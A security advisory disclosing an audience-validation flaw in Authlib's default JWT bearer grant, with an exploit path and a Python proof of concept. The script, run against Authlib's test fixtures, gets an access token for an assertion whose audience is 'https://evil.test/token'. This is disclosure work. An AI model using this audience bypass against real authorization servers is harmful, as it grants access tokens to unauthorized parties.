Authlib: Default JWT bearer grant accepts assertions for the wrong audience

Description

Summary

Authlib's default RFC 7523 JWT bearer grant leaves get_audiences() empty, so verify_claims() only checks that an aud claim exists instead of requiring it to match the current authorization server's token endpoint. An attacker holding a legitimately issued JWT assertion for any audience can present it to a different authorization server sharing the same signing key and obtain an access token.

To be completely transparent, AI tools helped surface it. However, we have independently reproduced and carefully validated the issue. We follow responsible disclosure practices and are sharing this privately.

Affected Entrypoints

• authlib.oauth2.rfc7523.JWTBearerGrant — default get_audiences() returns empty list
• authlib.jose.jwt.decode() with claims_options for audience validation
• authlib.integrations.flask_oauth2.ResourceProtector.validate_request() when audience checking is enabled

Exploit Path

1. Attacker authenticates to Service A (low-privilege)
2. Authorization server issues JWT with "aud": "https://evil.test/token"
3. Attacker presents this assertion to Service B's token endpoint
4. Service B uses default JWTBearerGrant (get_audiences() = [])
5. verify_claims() only checks aud *exists*, not its value
6. Service B issues an access token — audience bypass achieved

Proof of Concept

#!/usr/bin/env python3
"""
Demonstrates that the default JWTBearerGrant accepts JWT assertions
whose audience does not match the token endpoint, while a strict
audience override correctly rejects them.
"""
import json
import os
import sys

from joserfc.jwk import KeySet, OctKey

WRONG_AUDIENCE = "https://evil.test/token"
EXPECTED_AUDIENCE = "https://provider.test/token"
GRANT_TYPE = "urn:ietf:params:oauth:grant-type:jwt-bearer"


def build_and_exercise(strict_audience: bool) -> tuple[int, dict]:
    from authlib.oauth2.rfc7523 import JWTBearerGrant as BaseJWTBearerGrant
    # Uses Authlib's own Flask test fixtures
    from tests.flask.test_oauth2.models import Client, User, db
    from tests.flask.test_oauth2.oauth2_server import (
        create_authorization_server, create_flask_app,
    )

    class JWTBearerGrant(BaseJWTBearerGrant):
        def resolve_issuer_client(self, issuer):
            return Client.query.filter_by(client_id=issuer).first()

        def resolve_client_public_key(self, client):
            return KeySet([
                OctKey.import_key("foo", {"kid": "1"}),
                OctKey.import_key("bar", {"kid": "2"}),
            ])

        def authenticate_user(self, subject):
            return None

        def has_granted_permission(self, client, user):
            return True

        # Only override get_audiences when testing strict mode
        if strict_audience:
            def get_audiences(self):
                return [EXPECTED_AUDIENCE]

    app = create_flask_app()
    os.environ["AUTHLIB_INSECURE_TRANSPORT"] = "true"

    with app.app_context():
        db.init_app(app)
        db.create_all()

        user = User(username="demo-user")
        db.session.add(user)
        db.session.commit()

        client = Client(
            user_id=user.id,
            client_id="client-id",
            client_secret="client-secret",
        )
        client.set_client_metadata({
            "scope": "profile",
            "redirect_uris": ["https://client.test/authorized"],
            "grant_types": [GRANT_TYPE],
        })
        db.session.add(client)
        db.session.commit()

        server = create_authorization_server(app)
        server.register_grant(JWTBearerGrant)

        # Sign assertion with WRONG audience
        assertion = JWTBearerGrant.sign(
            "foo",
            issuer="client-id",
            audience=WRONG_AUDIENCE,  # <-- Not the expected audience
            subject=None,
            header={"alg": "HS256", "kid": "1"},
        )

        rv = app.test_client().post(
            "/oauth/token",
            data={"grant_type": GRANT_TYPE, "assertion": assertion},
        )
        body = json.loads(rv.data)
        db.session.remove()
        db.drop_all()
        return rv.status_code, body


def main() -> int:
    # Test 1: Default grant (no audience enforcement)
    vuln_status, vuln_body = build_and_exercise(strict_audience=False)

    # Test 2: Strict audience grant (correct behavior)
    strict_status, strict_body = build_and_exercise(strict_audience=True)

    result = {
        "wrong_audience": WRONG_AUDIENCE,
        "expected_audience": EXPECTED_AUDIENCE,
        "vulnerable_status": vuln_status,
        "vulnerable_body": vuln_body,
        "strict_status": strict_status,
        "strict_body": strict_body,
    }
    print(json.dumps(result, indent=2, sort_keys=True))

    if (
        vuln_status == 200
        and "access_token" in vuln_body
        and strict_body.get("error") == "invalid_grant"
    ):
        print(
            "POC_SUCCESS: default JWTBearerGrant issued an access token for "
            "an assertion whose aud did not match the token endpoint, while "
            "strict audience validation rejected the same assertion."
        )
        return 0

    print("POC_FAILURE: expected token issuance under default grant "
          "and invalid_grant under strict audience control.")
    return 1


if __name__ == "__main__":
    raise SystemExit(main())